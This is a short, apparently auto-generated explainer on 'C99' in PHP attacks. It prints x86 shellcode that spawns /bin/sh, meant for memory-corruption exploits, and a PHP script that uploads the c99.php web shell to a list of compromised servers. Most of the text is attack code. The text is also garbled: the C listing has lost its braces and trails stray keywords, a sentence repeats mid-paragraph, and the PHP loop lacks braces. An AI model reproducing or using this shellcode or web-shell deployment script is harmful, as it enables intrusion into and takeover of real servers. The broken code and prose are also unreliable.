When writing payloads designed to be injected into a PHP application (e.g., via a buffer overflow in a PHP extension like imagick or a local file inclusion leading to memory corruption), developers use the C99 standard to generate shellcode.
The goal of shellcode is to spawn a shell (/bin/sh). A typical C99-styled payload generation looks like this:
// C99 standard: mixed declarations and single-line comments #include <stdio.h> #include <string.h>char shellcode[] = "\x31\xc0" // xor eax, eax "\x50" // push eax "\x68\x2f\x2f\x73\x68" // push 0x68732f2f ("//sh") "\x68\x2f\x62\x69\x6e" // push 0x6e69622f ("/bin") "\x89\xe3" // mov ebx, esp "\x50" // push eax "\x53" // push ebx "\x89\xe1" // mov ecx, esp "\xb0\x0b" // mov al, 0xb (sys_execve) "\xcd\x80"; // int 0x80 shell c99 php for
int main() // C99 standard: declaring 'func' exactly where it is used void (func)() = (void()())shellcode; func();
Relevance to PHP: This compiled shellcode is what an attacker aims to execute when bypassing PHP's disable_functions (e.g., via UAF exploits in PHP-FPM).
If "C99" refers to the web shell, a for loop in a malicious script is used to mass-deploy or interact with the shell across multiple compromised servers. When writing payloads designed to be injected into
<?php $servers = file('compromised_servers.txt', FILE_IGNORE_NEW_LINES);
for ($i = 0; $i < count($servers); $i++) $target = trim($servers[$i]); // Uploading the C99 Shell via a previously discovered vulnerability $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, "$target/upload.php"); curl_setopt($curl, CURLOPT_POST, true); $c99_content = file_get_contents('c99.php'); curl_setopt($curl, CURLOPT_POSTFIELDS, ['file' => new CURLFile('c99.php')]); curl_exec($curl); echo "[+] C99 deployed to $target\n"; ?>
$output = shell_exec('ls -l');
echo "<pre>$output</pre>";
This PHP code executes the ls -l shell command and displays the output.